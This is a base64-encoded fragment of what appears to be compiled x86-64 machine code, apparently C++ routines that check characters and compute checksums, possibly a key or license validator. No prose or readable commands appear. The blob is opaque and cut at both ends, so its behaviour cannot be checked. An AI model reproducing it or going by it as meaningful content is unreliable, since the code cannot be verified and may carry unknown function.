D/dQhIx0XgAAAAAEiDfej/dQhIx0XoAAAAAEiDfdAAdR9Ig33YAHUYSIN94AB1EUiDfegAdQq7AAAAAOk7BAAASI2FcP///0iLVdBIjV2ASInRugAAAABIid5IicfoGe///0iNhXD///9IicfoOu///0iLlRj///9Ig8JKSInGSInX6DTx//9Ii0XQSItV2EiJ0UgpwUiJyEiNSP9Ii0XQSI1QAUiNhWD///9IjV2ASIneSInH6MHu//9IjYVg////SInH6OLu//9IicJIi4UY////SInWSInH6N3w//9Ii0XYSItV4EiJ0UgpwUiJyEiNSP9Ii0XYSI1QAUiNhVD///9IjV2ASIneSInH6Gru//9IjYVQ////SInH6Ivu//9Ii5UY////SIPCHkiJxkiJ1+iF8P//SI1FgEiJx+iZ7v//SInCSItF4EiNcAFIjYVA////SI1dgEiJ0UiJ8kiJ3kiJx+gS7v//SI2FQP///0iJx+gz7v//SIuVGP///0iDwmhIicZIidfoLfD//0iNhUD///9IicfoPu7//0iNUPFIjYUw////SI2dQP///0iJ0boPAAAASIneSInH6Lnt//9IjYUw////SInH6Nrt//9Ii5UY////SIPCQEiJxkiJ1+jU7///SI2FMP///0iJx+jl7f//SI1Q/UiNRaBIjZ0w////SInRugMAAABIid5IicfoY+3//0iNRaBIicfoh+3//0iJx+j/7v//SIuVGP///4lCPEiNRaBIicfoae7//+scidNJicRIjUWgSInH6Fbu//9MieBIY9PpGAEAAEiNRbBIjZ0w////uQMAAAC6AAAAAEiJ3kiJx+j77P//SI1VsEiNhTD///9IidZIicfoVfD//+scidNJicRIjUWwSInH6ALu//9MieBIY9PpxAAAAEiNRbBIicfo6+3//0iNhTD///9Iicfo3Oz//0iLlRj///9Ig8JASInGSInX6Nbu//9IjUXASI2dQP///7kPAAAAugAAAABIid5Iicfoduz//0iNVcBIjYVA////SInWSInH6NDv///rGYnTSYnESI1FwEiJx+h97f//TIngSGPT60JIjUXASInH6Gnt//9IjYVA////SInH6Frs//9Ii5UY////SIPCaEiJxkiJ1+hU7v//SI2FMP///0iJx+g17f//6ziJ00mJxEiNhTD///9IicfoH+3//0yJ4Ehj0+sAidNJicRIjYVA////SInH6APt//9MieBIY9PrEUiNhUD///9Iicfo7Oz//+scidNJicRIjYVQ////SInH6Nbs//9MieBIY9PrEUiNhVD///9Iicfov+z//+scidNJicRIjYVg////SInH6Kns//9MieBIY9PrEUiNhWD///9Iicfokuz//+scidNJicRIjYVw////SInH6Hzs//9MieBIY9PrEUiNhXD///9IicfoZez//+sNSInH6Cvu///o9u3//7sBAAAA6x+J00mJxEiNRYBIicfoPuz//0yJ4Ehj00iJx+hg7v//SI1FgEiJx+gk7P//idhIgcTgAAAAW0FcycNVSInlQVRTSIHs8AgAAEiJvRj3//9IibUQ9///SIuFGPf//w+2AITAdQq7/////+kqBAAASI2FIP///0iJx+jd8f//SI1FsEiJx+gn6v//SIuFGPf//w+2AIhF3kiLhRj3//9Ig8ABD7YAiEXfx0XgAAAAAMdF5AAAAADrI4tN4ItF5InAD7aEBSD///+JwonIiJQFIPf//4NF4AGDReQBg33kOw+WwITAddLHRegAAAAA6zSLTeCLRehIA4UQ9///D7YAicKJyIiUBSD3//+DReABi0XoSAOFEPf//w+2AITAdBGDRegBg33ofw+WwITAdcHrAZDHRewAAAAA61CLTeyLReyJwA+2hAUg9///icIyVd6JyIiUBSD3//8PtlXeD7ZF3g+v0InQAcAB0I1QCg+2Rd+JhQz3//+J0MH6H/e9DPf//4nQiEXeg0XsAYtF7DtF4A+SwITAdaNIjUWgi1XgSI2NIPf//0iJzkiJx+hF7v//SI1Fz0iJx+iV7P//SI1Vz0iLjRj3//9IjUXASInOSInH6Mvq//9IjVWwSI1FwL4AAAAASInH6Ow3AADrGYnTSYnESI1FwEiJx+hT6v//TIngSGPT6w5IjUXASInH6D/q///rHInTSYnESI1Fz0iJx+gs6///TIngSGPT6bwAAABIjUXPSInH6BXr//++EAAAAL8EAAAA6OA2AACJw0iNRbBIicfo+Oj//0iJwUiNhSD9//+J2kiJzkiJx+hx6///SI2FIP3//0iJx+gy6///hMB0WItF4AHAicNIjUWgSInH6Lvo//9IicFIjYUg/f//SInaSInOSInH6JPp//9IjYUg/f//SInH6FTq///rHInTSYnESI2FIP3//0iJx+gO6v//TIngSGPT6xFIjYUg/f//SInH6Pfp///rDUiJx+gt6///6Pjq//9IjUXdSInH6Ezr//9IjVXdSIuNGPf//0iNRdBIic5Iicfogun//0iNVbBIjUXQvgEAAABIicfoozYAAOsZidNJicRIjUXQSInH6Arp//9MieBIY9PrDkiNRdBIicfo9uj//+scidNJicRIjUXdSInH6OPp//9MieBIY9PpvAAAAEiNRd1IicfozOn//74QAAAAvwQAAADolzUAAInDSI1FsEiJx+iv5///SInBSI2FIPv//4naSInOSInH6Cjq//9IjYUg+///SInH6Onp//+EwHRYi0XgAcCJw0iNRaBIicfocuf//0iJwUiNhSD7//9IidpIic5IicfoSuj//0iNhSD7//9IicfoC+n//+scidNJicRIjYUg+///SInH6MXo//9MieBIY9PrEUiNhSD7//9Iicforuj//+sNSInH6OTp///or+n//7sAAAAASI1FoEiJx+j+5///6ziJ00mJxEiNRaBIicfo6+f//0yJ4Ehj0+sAidNJicRIjUWwSInH6NLn//9MieBIY9NIicfo9On//0iNRbBIicfouOf//4nYSIHE8AgAAFtBXMnDVUiJ5Yl9/Il1+IlV9IlN8ESJRexEiU3ouAEAAADJw1VIieWJffyJdfiJVfSJTfBEiUXsRIlN6ItF/IPgAYXAdSiLRfSLVfiNBAILRfyLVeyLTfCNFBExwotF6A+vRRAPr8Il/wAAAOsbi0X4D69F9ANF7ANF8ANF6ANFEAtF/CX/DwAAycNVSInliX38iXX4iVX0iU3wRIlF7ESJTei4AQAAAMnDVUiJ5Yl9/Il1+IlV9IlN8ESJRexEiU3ouAEAAADJw1VIieWJffyJdfiJVfSJTfBEiUXsRIlN6LgBAAAAycNVSInliX3siXXoxkX7AMdF/AAAAADrN4tF/EiYSMHgBIuAsG5AADtF7HUfi0X8SJhIweACSIPAAYsEhbBuQAA7Reh1BsZF+wHrDoNF/AGLRfzB6B+EwHW/D7ZF+8nDVUiJ5Yl97Il16IlV5IlN4MZF+wDHRfwAAAAA62OLRfxImEjB4ASLgLBuQAA7Rex1S4tF/EiYSMHgAkiDwAGLBIWwbkAAO0XodTKLRfxImEgBwEiDwAGLBMWwbkAAO0XkdRqLRfxImEjB4ASLgLxuQAA7ReB1BsZF+wHrDoNF/AGLRfzB6B+EwHWTD7ZF+8nDVUiJ5Yl97Il16ItV7InQweACAdABwInCwfof933oiUX0i0X0D69F6IlF9ItN9LpnZmZmicj36sH6AonIwfgfidEpwYnIiUX0i0X0i1XsidEpwYnIiUX0g0X0AYtF9GnAQEIPAIlF+ItF9GnAQEIPAIlF/ItF+ItV/InRKcGJyIP4AX4Eg0X0AYtF9MnDVUiJ5UFUU0iD7FBIifuJdayLVaxIjUWwvuNsQABIice4AAAAAOhC5f//SI1F70iJx+gW5///SInYSI1V70iNTbBIic5IicfoUOX//+sfidNJicRIjUXvSInH6O3l//9MieBIY9NIicfoD+f//0iNRe9Iicfo0+X//0iJ2EiJ2EiDxFBbQVzJw1VIieVBVFNIg+xQSIn7SIl1qEiLVahIjUWwvuZsQABIice4AAAAAOi45P//SI1F70iJx+iM5v//SInYSI1V70iNTbBIic5IicfoxuT//+sfidNJicRIjUXvSInH6GPl//9MieBIY9NIicfoheb//0iNRe9IicfoSeX//0iJ2EiJ2EiDxFBbQVzJw1VIieVBVFNIg+wgSIn7iXXci1XcSI1F4L7rbEAASInHuAAAAADoMOT//0iNRe9IicfoBOb//0iJ2EiNVe9IjU3gSInOSInH6D7k///rH4nTSYnESI1F70iJx+jb5P//TIngSGPTSInH6P3l//9IjUXvSInH6MHk//9IidhIidhIg8QgW0FcycNVSInlQVVBVFNIg+woSIn7SIl1yEiJ2EiLVchIidZIicfoDOP//0iLRchIicfosOL//4lF3OtPSItFyEiJx+if4v//i1XcSGPSSInBSCnRSInKSInYSInWSInH6MLj//9JicSLRdyD6AFIY9BIi0XISInWSInH6Kfj//8PtgBBiAQkg23cAYN93AAPn8CEwHWm6x9BidRJicVIidhIicfoDuP//0yJ6Elj1EiJx+gw5f//SInYSInYSIPEKFtBXEFdycNVSInlQVRTSIPsMEiJ+0iJdciJVcREi2XESItFyEiJx+j64f//STnED5fAhMAPhOUAAABIjUXnSInH6LDk//9IjVXnSI1F0L7AbEAASInH6Ovi///rH4nTSYnESI1F50iJx+iI4///TIngSGPTSInH6Krk//9IjUXnSInH6G7j//9Ii0XISInH6JLh//+LVcSJ0SnBiciJRejHRewAAAAA6xVIjUXQvu5sQABIicfozOD//4NF7AGLRew7RegPnMCEwHXeSItVyEiNRdBIidZIicfoSOL//0iJ2EiNVdBIidZIicfohuH//+sfidNJicRIjUXQSInH6PPh//9MieBIY9NIicfoFeT//0iNRdBIicfo2eH//+sSSInYSItVyEiJ1kiJx+hF4f//SInYSInYSIPEMFtBXMnDVUiJ5VNIg+woifhIiXXQiEXcx0XsAAAAAOs+i1XsSItF0EiJ1kiJx+j54f//D7YAOkXcD5TAhMB0G4tF7EiLVdBIg8IISInGSInX6Nbh//8PtgDrIoNF7AGLXexIi0XQSInH6H7g//9IOcMPksCEwHWpuAAAAABIg8QoW8nDVUiJ5UFVQVRTSIPsWEiJ+4l1rEiJVaCJTZxEi2WcSI1FwItVrInWSInH6M/8//9IjUWwSI1NwESJ4kiJzkiJx+gE/v//6x+J00mJxEiNRcBIicfo4OD//0yJ4Ehj00iJx+gC4///SI1FwEiJx+jG4P//SYncSI1F10iJx+i34v//SI1F10iJwr7AbEAATInn6PPg///rHInTSYnESI1F10iJx+iQ4f//TIngSGPT6YgAAABIjUXXSInH6Hnh///HRdgAAAAA6z6LVdhIjUWwSInWSInH6M7g//8PtgAPvsBIi1WgSInWicfolP7//4hF3w++Vd9IidiJ1kiJx+gm4v//g0XYAUSLZdhIjUWwSInH6FLf//9JOcQPksCEwHWo6zhBidRJicVIidhIicfoBeD//0yJ6Elj1OsAidNJicRIjUWwSInH6Ozf//9MieBIY9NIicfoDuL//0iNRbBIicfo0t///0iJ2EiJ2EiDxFhbQVxBXcnDVUiJ5UFXQVZBVUFUU0iB7JgAAABIifuJtXz///+JlXj///+JjXT///9MiYVo////TImNYP///4tFEIiFXP///0iNRaCLlXz///+J1kiJx+gh+v//SI1FoEiJx+iR3v//SIP4BQ+WwITAdFJJidxIjUWySInH6Efh//9IjUWySInCvsBsQABMiefog9///+scidNJicRIjUWySInH6CDg//9MieBIY9Ppbg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//SDnDD5LAhMB1yMdF3AAAAABIi0XASInH6CHX//9Ig/gDD5fAhMB0Q8dF7AMAAADrH4tV7EiLRcBIidZIicfoO9j//w+2AA++wAFF3INF7AGLXexIi0XASInH6N/W//9IOcMPksCEwHXI6xpIi0XAvgIAAABIicfoAtj//w+2AA++wIlF3EiLRcBIicfordb//0iFwHRQSItFwL4AAAAASInH6NfX//8PtgAPvthIi0XAvgEAAABIicfowNf//w+2AA++wAHDSItFwL4CAAAASInH6KfX//8PtgAPvsCNBAMPr0Xc6wW4AAAAAIlF4ItF4ItV2I0EAolF5ItF5EiDxDhbycNVSInlQVRTSIHskAAAAEiJvWj///+JtWT///9Ii4Vo////ugAAAAC+AW1AAEiJx+hG2f//SIlF2EiLRdhIjVABSIuFaP///74BbUAASInH6CbZ//9IiUXgSIN92P90B0iDfeD/dQq7AAAAAOkiAgAASI1FsEiLVdhIi51o////SInRugAAAABIid5IicfoSNX//0iLRdhIi1XgSInRSCnBSInISI1I/kiLRdhIjVACSI1FoEiLnWj///9Iid5IicfoFdX//0iLhWj///9IicfoZtX//0iJwkiLReBIjXACSI1FkEiLnWj///9IidFIifJIid5Iicfo39T//0iNRYBIjVWgSI1NsEiJzkiJx+gtJgAASI2FcP///0iNVZBIjU2gSInOSInH6BMmAABIjZVw////SI1FwEiJ1kiJx+hI1f//SI1VgEiNRdBIidZIicfoNdX//0iNVcBIjUXQSInWSInH6EX9//+LlWT////R6g+vwolF7EiNRdBIicfoiNX//+syidNJicRIjUXQSInH6HXV//9MieBIY9PrAInTSYnESI1FwEiJx+hc1f//TIngSGPT6yBIjUXASInH6EjV//+LXexIjYVw////SInH6DbV///rNYnTSYnESI2FcP///0iJx+gg1f//TIngSGPT6wCJ00mJxEiNRYBIicfoB9X//0yJ4Ehj0+sOSI1FgEiJx+jz1P//6xmJ00mJxEiNRZBIicfo4NT//0yJ4Ehj0+sOSI1FkEiJx+jM1P//6xmJ00mJxEiNRaBIicfoudT//0yJ4Ehj0+sOSI1FoEiJx+il1P//6x+J00mJxEiNRbBIicfoktT//0yJ4Ehj00iJx+i01v//SI1FsEiJx+h41P//idhIgcSQAAAAW0FcycNVSInlQVRTSIHskAAAAEiJfYhIiXWASImVeP///0iJjXD///9MiYVo////SIuFaP///7oAAAAAvuFsQABIicfoltb//0iJRdBIi0XQSI1QAUiLhWj///++4WxAAEiJx+h21v//SIlF2EiLRdhIjVABSIuFaP///77hbEAASInH6FbW//9IiUXgSItF4EiNUAFIi4Vo////vuFsQABIicfoNtb//0iJRehIg33Q/3UISMdF0AAAAABIg33Y/3UISMdF2AAAAABIg33g/3UISMdF4AAAAABIg33o/3UISMdF6AAAAABIg33QAHUfSIN92AB1GEiDfeAAdRFIg33oAHUKuAAAAADpyQEAAEiNRZBIi1XQSIudaP///0iJ0boAAAAASIneSInH6A7S//9IjVWQSItFiEiJ1kiJx+hr1f//6x+J00mJxEiNRZBIicfoGNP//0yJ4Ehj00iJx+g61f//SI1FkEiJx+j+0v//SItF0EiLVdhIidFIKcFIichIjUj/SItF0EiNUAFIjUWgSIudaP///0iJ3kiJx+ib0f//SI1VoEiLRYBIidZIicfo+NT//+sfidNJicRIjUWgSInH6KXS//9MieBIY9NIicfox9T//0iNRaBIicfoi9L//0iLRdhIi1XgSInRSCnBSInISI1I/0iLRdhIjVABSI1FsEiLnWj///9Iid5IicfoKNH//0iNVbBIi4V4////SInWSInH6ILU///rH4nTSYnESI1FsEiJx+gv0v//TIngSGPTSInH6FHU//9IjUWwSInH6BXS//9Ii4Vo////SInH6DbR//9IicJIi0XgSI1wAUiNRcBIi51o////SInRSInySIneSInH6K/Q//9IjVXASIuFcP///0iJ1kiJx+gJ1P//6x+J00mJxEiNRcBIicfottH//0yJ4Ehj00iJx+jY0///SI1FwEiJx+ic0f//uAEAAABIgcSQAAAAW0FcycNVSInlQVdBVkFVQVRTSIPseEiJvXj///+JtXT////pzAAAAEiNRb5IicfoXNP//0iNVb5IjUWwvu5sQABIicfol9H//0iNRaBIi5V4////SI1NsEiJzkiJx+hiIQAASI1VoEiLhXj///9IidZIicfoV9P//+sZidNJicRIjUWgSInH6ATR//9MieBIY9PrDkiNRaBIicfo8ND//+sZidNJicRIjUWwSInH6N3Q//9MieBIY9PrDkiNRbBIicfoydD//+sfidNJicRIjUW+SInH6LbR//9MieBIY9NIicfo2NL//0iNRb5IicfonNH//0iLhXj///9Iicfovc///0iD+AkPlsCEwA+FFv///0iLhXj///9Iicfon8///0iJw0iNQwFIweADSInH6GzP//9JicRMieBIiRhMieBMjWgITYnvSI1D/0mJxusQTIn/6JjO//9Jg8cISYPuAUmD/v8PlcCEwHXl61dBiddIiYVo////TYXtdCNIjUP/TCnwSMHgA0mNXAUATDnrdA5Ig+sISInf6PPP///r7UiLhWj///9JY9eJ00mJxUyJ5+ga0f//TInoSGPTSInH6PzR//9MieBIg8AISIlFwMdFyP/////HRcwAAAAA6e0AAACLjXT///+LRcy6AAAAAPfxidCFwHUZg0XIAYtFyEiYSMHgA0gDRcBIicfoL87//2bHRZAAAItVzEiLhXj///9IidZIicfo1M///w+2AIhFkEiNRb9IicfoUtH//0iNVb9IjU2QSI1FgEiJzkiJx+iLz///6x+J00mJxEiNRb9IicfoKND//0yJ4Ehj00iJx+hK0f//SI1Fv0iJx+gO0P//i0XISJhIweADSANFwEiNVYBIidZIicfoIs///+sfidNJicRIjUWASInH6N/O//9MieBIY9NIicfoAdH//0iNRYBIicfoxc7//4NFzAGLXcxIi4V4////SInH6N/N//9IOcMPksCEwA+F8/7//0iLRcBIg8R4W0FcQV1BXkFfycNVSInlU0iD7BhIiftIiXXoiVXkiU3gSInYi1XgSGPKi1Xkg+oBD69V4Ehj0kiLdehIicfoJs3//0iJ2EiJ2EiDxBhbycNVSInlQVZBVUFUU0iB7JADAABIib1o/P//ibVk/P//SI2FH/7//0iJx+gb0P//SIuFaPz//0iJx+gMzf//SInBSI2VH/7//0iNhRD+//9Iic5IicfoQM7//+siidNJicRIjYUf/v//SInH6NrO//9MieBIY9NIicfo/M///0iNhR/+//9Iicfovc7//0iNhQD+//9IicfoDsz//0iNhfD9//9Iicfo/8v//0iNheD9//9Iicfo8Mv//0iNhdD9//9Iicfo4cv//4G9ZPz//5+GAQB/CrsAAAAA6ZATAABIjbUQ/v//SI2N0P3//0iNleD9//9IjZ3w/f//SI2FAP7//0mJ8EiJ3kiJx+jQ+P//g/ABhMB0CrsAAAAA6U4TAABIjYXQ/f//SInH6ErM//9IjVDxSI2FwP3//0iNndD9//9IidG6DwAAAEiJ3kiJx+jFy///SI2VwP3//0iNhSD+//9IidZIicfoXMz//0iNhSD+//9IicfoafD//4nDg/MBSI2FIP7//0iJx+i5zP//6x+J00mJxEiNhSD+//9Iicfoo8z//0yJ4Ehj0+l0EgAAhNt0CrsAAAAA6YISAABIjYWw/f//SI2d0P3//7kBAAAAug4AAABIid5IicfoN8v//0iNhaD9//9IjZ3Q/f//uQIAAAC6DAAAAEiJ3kiJx+gUy///SI2FMP7//0iNndD9//+5DAAAALoAAAAASIneSInH6PHK//9IjZUw/v//SI2F0P3//0iJ1kiJx+hIzv//6x+J00mJxEiNhTD+//9Iicfo8sv//0yJ4Ehj0+lpEQAASI2FMP7//0iJx+jYy///SI2VwP3//0iNhUD+//9IidZIicfoP8v//0iNhXD+//9IjZXw/f//SI2NAP7//0iJzkiJx+jUGwAASI2FYP7//0iNldD9//9IjY1w/v//SInOSInH6LQbAABIjYVQ/v//SI2V4P3//0iNjWD+//9Iic5IicfolBsAAEiNlUD+//9IjYVQ/v//SInWSInH6Ony//+JwkiNhZD9//+J1kiJx+jn5f//6xyJ00mJxEiNhVD+//9IicfoHcv//0yJ4Ehj0+stSI2FUP7//0iJx+gGy///6ziJ00mJxEiNhZD9//9Iicfo8Mr//0yJ4Ehj0+sAidNJicRIjYVg/v//SInH6NTK//9MieBIY9PrLUiNhWD+//9Iicfovcr//+s4idNJicRIjYWQ/f//SInH6KfK//9MieBIY9PrAInTSYnESI2FcP7//0iJx+iLyv//TIngSGPT6y1IjYVw/v//SInH6HTK///rO4nTSYnESI2FkP3//0iJx+heyv//TIngSGPT6wCJ00mJxEiNhUD+//9IicfoQsr//0yJ4Ehj0+m5DwAASI2FQP7//0iJx+goyv//SI2FkP3//0iJx+jJyf//SI1Q/kiNhYD+//9IjZ2Q/f//uQIAAABIid5Iicfox8j//0iNlYD+//9IjYWQ/f//SInWSInH6B7M///rH4nTSYnESI2FgP7//0iJx+jIyf//TIngSGPT6RIPAABIjYWA/v//SInH6K7J//9IjYWg/f//SInH6J/I//9Iicfo18n//0iJw0iNhZD9//9Iicfohcj//0iJx+i9yf//SDnDD5XAhMB0CrsAAAAA6doOAABIjYWA/f//SI2d0P3//7kCAAAAugAAAABIid5IicfoFsj//0iNhYD9//9IicfoN8j//0iJx+ivyf//iUW4SI2VwP3//0iNhZD+//9IidZIicfok8j//0iNhbD+//9IjZXw/f//SI2NAP7//0iJzkiJx+goGQAASI2FoP7//0iNleD9//9IjY2w/v//SInOSInH6AgZAABIjZWQ/v//SI2FoP7//0iJ1kiJx+hd8P//iUW8SI2FoP7//0iJx+ioyP//6ziJ00mJxEiNhaD+//9Iicfoksj//0yJ4Ehj0+sAidNJicRIjYWw/v//SInH6HbI//9MieBIY9PrEUiNhbD+//9IicfoX8j//+sfidNJicRIjYWQ/v//SInH6EnI//9MieBIY9PpZg0AAEiNhZD+//9IicfoL8j//0iNlcD9//9IjYXA/v//SInWSInH6JbH//9IjYXw/v//SI2V8P3//0iNjQD+//9Iic5IicfoKxgAAEiNheD+//9IjZXg/f//SI2N8P7//0iJzkiJx+gLGAAASI2F0P7//0iNldD9//9IjY3g/v//SInOSInH6OsXAABIjZXA/v//SI2F0P7//0iJ1kiJx+hA7///iUXASI2F0P7//0iJx+iLx///6ziJ00mJxEiNhdD+//9Iicfodcf//0yJ4Ehj0+sAidNJicRIjYXg/v//SInH6FnH//9MieBIY9PrEUiNheD+//9IicfoQsf//+scidNJicRIjYXw/v//SInH6CzH//9MieBIY9PrEUiNhfD+//9IicfoFcf//+sfidNJicRIjYXA/v//SInH6P/G//9MieBIY9PpHAwAAEiNhcD+//9Iicfo5cb//0iNheD9//++AAAAAEiJx+hBx///D7YARA++4EiNhfD9//++AAAAAEiJx+gmx///D7YAD77Qi0XAi124RInhid6Jx+g14P//hMB0CrsAAAAA6dQLAACLlWT8//9IjYUA////idZIicfoLeH//0iNhQD///++AAAAAEiJx+jVxv//D7YAiIVg/f//SI2FAP///0iJx+hNxv//6x+J00mJxEiNhQD///9IicfoN8b//0yJ4Ehj0+lUCwAAxoVh/f//AEiNhWD9//9Iicfolsb//4nCSI2FcP3//74EbUAASInHuAAAAADoG8b//0iNhQ////9Iicfo7Mf//0iNlQ////9IjY1w/f//SI2FUP3//0iJzkiJx+gcxv//6x+J00mJxEiNhQ////9Iicfotsb//0yJ4Ehj0+nTCgAASI2FD////0iJx+icxv//SI2FUP3//0iJx+iNxP//SInH6AXG//+JRcSLVcSLRbiJ1onH6Jrf//+JRchIjYXQ/f//SInH6JHE//9IjVD+SI2FEP///0iNndD9//9IidG6AgAAAEiJ3kiJx+gMxP//SI2VEP///0iNhdD9//9IidZIicfoY8f//+sfidNJicRIjYUQ////SInH6A3F//9MieBIY9Pp/QkAAEiNhRD///9Iicfo88T//0iNldD9//9IjYUw////SInWSInH6FrE//9IjYUg////SI2VMP///0iJ1kiJx+gP4f//SI2VIP///0iNhdD9//9IidZIicfo6Mb//+scidNJicRIjYUg////SInH6JLE//9MieBIY9PrEUiNhSD///9Iicfoe8T//+sfidNJicRIjYUw////SInH6GXE//9MieBIY9PpVQkAAEiNhTD///9IicfoS8T//0iNhUD9//9IicfonML//0iNhTD9//9IicfojcL//0iNnUD9//9IjY0w/f//i1XISI2F0P3//0mJ2L4EAAAASInH6LHo//+JRcxIjYUg/f//i1XMidZIicfoot7//0iNhSD9//9IicfoD8P//0iNUP9IjYVA////SI2dIP3//7kBAAAASIneSInH6I3C//9IjZVA////SI2FIP3//0iJ1kiJx+jkxf//6x+J00mJxEiNhUD///9IicfojsP//0yJ4Ehj0+n3BwAASI2FQP///0iJx+h0w///SI2FsP3//0iJx+hlwv//SInDSI2FIP3//0iJx+hTwv//SIneSInH6DjE//+FwA+VwITAdAq7AAAAAOnFBwAASI2VQP3//0iNhWD///9IidZIicfonML//0iNhVD///9IjZVg////SInWSInH6FHf//9IjZVQ////SI2FQP3//0iJ1kiJx+gqxf//6xyJ00mJxEiNhVD///9Iicfo1ML//0yJ4Ehj0+sRSI2FUP///0iJx+i9wv//6x+J00mJxEiNhWD///9Iicfop8L//0yJ4Ehj0+kQBwAASI2FYP///0iJx+iNwv//SI2FMP3//0iJx+iuwf//SI1Q/0iNhXD///9IjZ0w/f//SInRugEAAABIid5IicfoKcH//0iNRZBIjZ0w/f//uQEAAAC6AAAAAEiJ3kiJx+gJwf//SI1FgEiNlUD9//9IjU2QSInOSInH6FQSAABIjYUQ/f//SI2VcP///0iNTYBIic5IicfoNxIAAOsZidNJicRIjUWASInH6O/B//9MieBIY9PrKkiNRYBIicfo28H//+s1idNJicRIjYUQ/f//SInH6MXB//9MieBIY9PrAInTSYnESI1FkEiJx+iswf//TIngSGPT6ypIjUWQSInH6JjB///rO4nTSYnESI2FEP3//0iJx+iCwf//TIngSGPT6wCJ00mJxEiNhXD///9IicfoZsH//0yJ4Ehj0+nPBQAASI2FcP///0iJx+hMwf//i1W8i4Vk/P//SJhID6/CSIlF0EiNhQD9//9Ii1XQSInWSInH6F/c//9IjZUA/f//SI1FoEiJ1kiJx+iNwP//SI1FoL4CAAAASInH6HHv//9IiUXYSI1FoEiJx+jswP//6xyJ00mJxEiNRaBIicfo2cD//0yJ4Ehj0+noBAAASMeFsPz//2YzQABIx4W4/P//hTNAAEjHhcD8///sM0AASMeFyPz//ws0QABIx4XQ/P//KjRAAEyNpXD8//9NieW7BgAAAEiNRalIicfofML//0iNRalIicK+CG1AAEyJ7+i4wP//6x1BidVJicZIjUWpSInH6FTB//9MifBJY9XpEAIAAEiNRalIicfoPcH//0mDxQhIg+sBSI1FqkiJx+gpwv//SI1FqkiJwr4ZbUAATInv6GXA///rHUGJ1UmJxkiNRapIicfoAcH//0yJ8Elj1em9AQAASI1FqkiJx+jqwP//SYPFCEiD6wFIjUWrSInH6NbB//9IjUWrSInCvghtQABMie/oEsD//+sdQYnVSYnGSI1Fq0iJx+iuwP//TInwSWPV6WoBAABIjUWrSInH6JfA//9Jg8UISIPrAUiNRaxIicfog8H//0iNRaxIicK+CG1AAEyJ7+i/v///6x1BidVJicZIjUWsSInH6FvA//9MifBJY9XpFwEAAEiNRaxIicfoRMD//0mDxQhIg+sBSI1FrUiJx+gwwf//SI1FrUiJwr4IbUAATInv6Gy////rH